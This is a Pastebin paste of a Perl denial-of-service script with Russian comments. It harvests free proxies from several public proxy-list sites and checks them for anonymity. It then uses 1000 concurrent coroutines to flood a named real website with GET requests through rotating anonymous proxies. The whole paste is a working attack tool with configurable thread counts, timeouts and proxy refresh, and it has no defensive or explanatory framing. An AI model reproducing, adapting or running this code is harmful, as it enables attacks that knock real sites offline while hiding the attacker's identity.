Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/local/bin/perl
- use strict;
- use LWP::UserAgent;
- use Coro;
- use Coro::LWP;
- use Coro::EV;
- use EV;
- use Time::Local;
- my $target = "http://1chan.ru/news/all/"; # цель
- my $proxycheck = "http://2ip.ru/"; # сайт, выводящий ip запросившего
- my $threads = 1000; # количество потоков
- my $proxycheckers = 1000; # количество прокси-чекеров
- my $check = 1; # 0 - без проверки; 1 - онлайн-проверка; 2 - предпроверка;
- my $useproxy = 3; # 1 - использовать проксифайл; 2 - брать с сайтов; 3 = 1 + 2;
- my $anon = 1; # 0 - использовать все прокси; 1 - использовать только анонимные прокси;
- my $timeout = 10; # таймаут запросов
- my $timeoutproxy = 5; # таймаут проверки прокси
- my $update = 3; # обновлять прокси каждые n минут
- my $wait = 30; # задержка между использованиями одного прокси
- my $myip = get_my_ip ();
- my %rawproxylist;
- my %valproxylist;
- my %deadproxylist;
- my %noanonproxylist;
- my %badproxylist;
- my $free;
- my $i;
- my $getthem = 1;
- my $updatetime;
- if ($check == 0){ $anon = 0 };
- ################################################################
- sub get_content {
- my ($link, $proxy, $timeout) = @_;
- my $ua = LWP::UserAgent -> new;
- $ua -> agent ('Mozilla/5.0');
- if ($proxy){
- $ua -> proxy (['http', 'https'], "http://$proxy/");
- }
- if ($timeout){
- $ua -> timeout ($timeout);
- }
- my $req = HTTP::Request -> new (GET => "$link");
- my $res = $ua -> request($req);
- my $status = $res -> status_line;
- my $content = $res -> decoded_content;
- return $content, $status;
- }
- sub get_my_ip {
- my $mip;
- my $ua = LWP::UserAgent -> new;
- $ua -> agent ('Mozilla/5.0');
- if ($timeout){
- $ua -> timeout ($timeout);
- }
- my $req = HTTP::Request -> new (GET => "$proxycheck");
- my $res = $ua -> request($req);
- my $content = $res -> decoded_content;
- unless (($mip) = $content =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/g){
- die;
- }
- return $mip;
- }
- sub check_proxy {
- my ($myip, $proxy) = @_;
- my $ua = LWP::UserAgent -> new;
- $ua -> agent ('Mozilla/5.0');
- $ua -> proxy (['http', 'https'], "http://$proxy/");
- $ua -> timeout ($timeoutproxy);
- my $req = HTTP::Request -> new (GET => "$proxycheck");
- my $res = $ua -> request($req);
- my $status = $res -> status_line;
- my $content = $res -> decoded_content;
- if ($content and $status =~ /200/){
- my ($answ) = $content =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/g;
- my ($pip) = $proxy =~ /(.*):/g;
- if ($answ == $myip){
- # print "Level 1\n";
- return 1;
- }
- elsif ($answ == $pip){
- # print "Level 2\n";
- return 2;
- }
- else {
- # print "Level 3\n";
- return 3;
- }
- } else {
- # print "Level 0\n";
- return 0;
- }
- }
- sub double_kill {
- my @mas = @_;
- local $_;
- my %tmp;
- $tmp{$_} = $_ for @mas;
- my @mas = values %tmp;
- undef %tmp;
- return @mas;
- }
- sub get_proxy_file {
- open(PROXYFILE, 'proxy.txt') or die "$!\n";
- my @proxyfile = <PROXYFILE>;
- close PROXYFILE;
- @proxyfile = double_kill (@proxyfile);
- foreach my $tmp (@proxyfile){
- chomp $tmp;
- $rawproxylist{$tmp} = 0;
- }
- return @proxyfile;
- }
- sub get_proxy_site {
- # proxyforest.com #
- # http://www.proxyforest.com/proxy.htm?pages=1
- # proxy(3,'251','14','190','128',3128);
- async {
- local $_;
- while (1){
- if ($getthem){
- for (0..18){
- my $mlink = "http://www.proxyforest.com/proxy.htm?pages=$_";
- my $ua = LWP::UserAgent -> new;
- $ua -> agent ('Mozilla/5.0');
- my $req = HTTP::Request -> new (GET => "$mlink");
- my $res = $ua -> request($req);
- my $content = $res -> decoded_content;
- my @proxypage;
- if ($content){
- @proxypage = $content =~ /('\d+','\d+','\d+','\d+',\d+)/g;
- foreach (@proxypage){
- $_ =~ s/'(\d+)','(\d+)','(\d+)','(\d+)',(\d+)/$1\.$2\.$3\.$4\:$5/;
- }
- if (@proxypage){
- foreach (@proxypage){
- $rawproxylist{$_} = 0;
- }
- }
- }
- }
- }
- EV::sleep (10);
- }
- };
- # www.cybersyndrome.net
- # http://www.cybersyndrome.net/pla5.html
- # <a title="PL" onMouseOver="s('PL')" onMouseOut="d()" class="C">85.14.108.242:8080</a>
- async {
- local $_;
- while (1){
- if ($getthem){
- my $mlink = "http://www.cybersyndrome.net/pla5.html";
- my $ua = LWP::UserAgent -> new;
- $ua -> agent ('Mozilla/5.0');
- my $req = HTTP::Request -> new (GET => "$mlink");
- my $res = $ua -> request($req);
- my $content = $res -> decoded_content;
- my @proxypage;
- if ($content){
- @proxypage = $content =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+)/g;
- if (@proxypage){
- foreach (@proxypage){
- $rawproxylist{$_} = 0;
- }
- }
- }
- }
- EV::sleep (10);
- }
- };
- # proxies.my-proxy.com
- # http://proxies.my-proxy.com/proxy-list-1.html
- # <br>200.161.99.185:3128
- async {
- local $_;
- while (1){
- if ($getthem){
- for (1..10){
- my $mlink = "http://proxies.my-proxy.com/proxy-list-$_.html";
- my $ua = LWP::UserAgent -> new;
- $ua -> agent ('Mozilla/5.0');
- my $req = HTTP::Request -> new (GET => "$mlink");
- my $res = $ua -> request($req);
- my $content = $res -> decoded_content;
- my @proxypage;
- if ($content){
- @proxypage = $content =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/g;
- if (@proxypage){
- foreach (@proxypage){
- $rawproxylist{$_} = 0;
- }
- }
- }
- }
- }
- EV::sleep (10);
- }
- };
- # anonymousinet.com
- # http://anonymousinet.com/index.php
- # http://anonymousinet.com/free-proxies-3.php
- async {
- local $_;
- while (1){
- if ($getthem){
- my $mlink = "http://anonymousinet.com/index.php";
- my $ua = LWP::UserAgent -> new;
- $ua -> agent ('Mozilla/5.0');
- my $req = HTTP::Request -> new (GET => "$mlink");
- my $res = $ua -> request($req);
- my $content = $res -> decoded_content;
- my @proxypage;
- if ($content){
- @proxypage = $content =~ /('\d+','\d+','\d+','\d+',\d+)/g;
- foreach (@proxypage){
- $_ =~ s/'(\d+)','(\d+)','(\d+)','(\d+)',(\d+)/$1\.$2\.$3\.$4\:$5/;
- }
- if (@proxypage){
- foreach (@proxypage){
- $rawproxylist{$_} = 0;
- }
- }
- }
- for (2..3){
- my $mlink = "http://anonymousinet.com/free-proxies-$_.php";
- my $ua = LWP::UserAgent -> new;
- $ua -> agent ('Mozilla/5.0');
- my $req = HTTP::Request -> new (GET => "$mlink");
- my $res = $ua -> request($req);
- my $content = $res -> decoded_content;
- my @proxypage;
- if ($content){
- @proxypage = $content =~ /('\d+','\d+','\d+','\d+',\d+)/g;
- foreach (@proxypage){
- $_ =~ s/'(\d+)','(\d+)','(\d+)','(\d+)',(\d+)/$1\.$2\.$3\.$4\:$5/;
- }
- if (@proxypage){
- foreach (@proxypage){
- $rawproxylist{$_} = 0;
- }
- }
- }
- }
- }
- EV::sleep (10);
- }
- };
- }
- sub proxy_checker {
- async {
- for (1..$proxycheckers){
- async {
- while (1){
- if (keys %rawproxylist > 1){
- $free = 0;
- my $ind = int ( rand (keys %rawproxylist));
- my $proxy = (keys %rawproxylist)[$ind];
- delete $rawproxylist{$proxy};
- my $trial = check_proxy ($myip, $proxy);
- if ($trial == 0){
- $deadproxylist{$proxy} = 0;
- } elsif ($trial == 1){
- $noanonproxylist{$proxy} = 0;
- } else {
- $valproxylist{$proxy} = 0;
- }
- } else {
- $free = 1;
- EV::sleep (5);
- }
- }
- };
- }
- };
- }
- sub ddos {
- async {
- for (1..$threads){
- async {
- while (1){
- my %activeproxylist;
- if ($anon){
- %activeproxylist = %valproxylist;
- } elsif ($check){
- %activeproxylist = (%valproxylist, %noanonproxylist);
- } else {
- %activeproxylist = %rawproxylist;
- }
- if ($useproxy and (keys %activeproxylist > 20)){
- my $proxy;
- my $content;
- my $status;
- do {
- my $ind = int ( rand (keys %activeproxylist));
- $proxy = (keys %activeproxylist)[$ind];
- } while (timelocal(localtime()) - $activeproxylist{$proxy} <= $wait);
- if ($anon){
- delete $valproxylist{$proxy};
- } elsif ($check){
- delete $valproxylist{$proxy};
- delete $noanonproxylist{$proxy};
- } else {
- delete $rawproxylist{$proxy};
- }
- if ($proxy){
- my $ua = LWP::UserAgent -> new;
- $ua -> agent ('Mozilla/5.0');
- # $ua -> max_size (1);
- $ua -> proxy (['http', 'https'], "http://$proxy/");
- $ua -> timeout ($timeout);
- my $req = HTTP::Request -> new (GET => "$target");
- my $res = $ua -> request ($req);
- $status = $res -> status_line;
- ($status) = $status =~ /\d+/g;
- if ($status =~ /(?:2..)|(?:3..)|(?:400)|(?:502)|(?:503)|(?:504)/){
- if ($anon){
- if ($check){
- $valproxylist{$proxy} = timelocal (localtime());
- } else {
- $rawproxylist{$proxy} = timelocal (localtime());
- }
- } elsif ($check){
- $valproxylist{$proxy} = timelocal (localtime());
- } else {
- $rawproxylist{$proxy} = timelocal (localtime());
- }
- } elsif ($status =~ /(?:403)|(?:404)|(?:500)/){
- $badproxylist{$proxy} = timelocal (localtime());
- # } elsif ($check){
- # $rawproxylist{$proxy} = timelocal (localtime());
- } else {
- $deadproxylist{$proxy} = timelocal (localtime());
- }
- $i++;
- my $val = keys %valproxylist;
- my $noanon = keys %noanonproxylist;
- my $dead = keys %deadproxylist;
- my $raw = keys %rawproxylist;
- my $bad = keys %badproxylist;
- my $updt = timelocal (localtime()) - $updatetime;
- printf ("%-5d %-30s %-4s %6d %5d %3d %5d %5d %4d\n",
- $i,
- $proxy,
- $status,
- $raw,
- $val,
- $noanon,
- $dead,
- $bad,
- $updt
- );
- }
- } else {
- EV::sleep (10);
- }
- }
- };
- }
- };
- }
- ################################################################
- async {
- if ($useproxy){
- if ($check){
- if ($useproxy == 1){ get_proxy_file; }
- elsif ($useproxy == 2){ get_proxy_site; }
- elsif ($useproxy == 3){ get_proxy_file; get_proxy_site; }
- proxy_checker;
- } else {
- if ($useproxy == 1){ get_proxy_file; }
- elsif ($useproxy == 2){ get_proxy_site; }
- elsif ($useproxy == 3){ get_proxy_file; get_proxy_site; }
- }
- }
- };
- async {
- $updatetime = timelocal (localtime());
- if ($check != 2){
- for (my $i = 10; $i > 0; $i--){
- my $val = keys %valproxylist;
- my $noanon = keys %noanonproxylist;
- my $dead = keys %deadproxylist;
- my $raw = keys %rawproxylist;
- my $bad = keys %badproxylist;
- my $updt = timelocal (localtime()) - $updatetime;
- printf ("%35d %6d %3d %5d %5d %5d %5d\n",
- $i,
- $raw,
- $val,
- $noanon,
- $dead,
- $bad,
- $updt
- );
- EV::sleep (1);
- }
- print "\n ZAPOOSK!!!11\n\n";
- } else {
- do {
- while (!($free) and $check){
- my $val = keys %valproxylist;
- my $noanon = keys %noanonproxylist;
- my $dead = keys %deadproxylist;
- my $raw = keys %rawproxylist;
- my $bad = keys %badproxylist;
- my $updt = timelocal (localtime()) - $updatetime;
- printf ("%41d %6d %3d %5d %5d %5d\n",
- $raw,
- $val,
- $noanon,
- $dead,
- $bad,
- $updt
- );
- EV::sleep (1);
- }
- EV::sleep (5);
- } while (!($free) and $check);
- print "\n ZAPOOSK!!!11\n\n";
- }
- $getthem = 0;
- if ($check != 2){ ddos; }
- else {
- while (!($free and (keys %rawproxylist <= 1))){ EV::sleep (1); };
- ddos;
- }
- if ($useproxy){
- while (1){
- EV::sleep (60 * $update);
- $getthem = 1;
- $updatetime = timelocal (localtime());
- EV::sleep (1);
- $getthem = 0;
- }
- }
- };
- EV::run;
Advertisement
Add Comment
Please, Sign In to add comment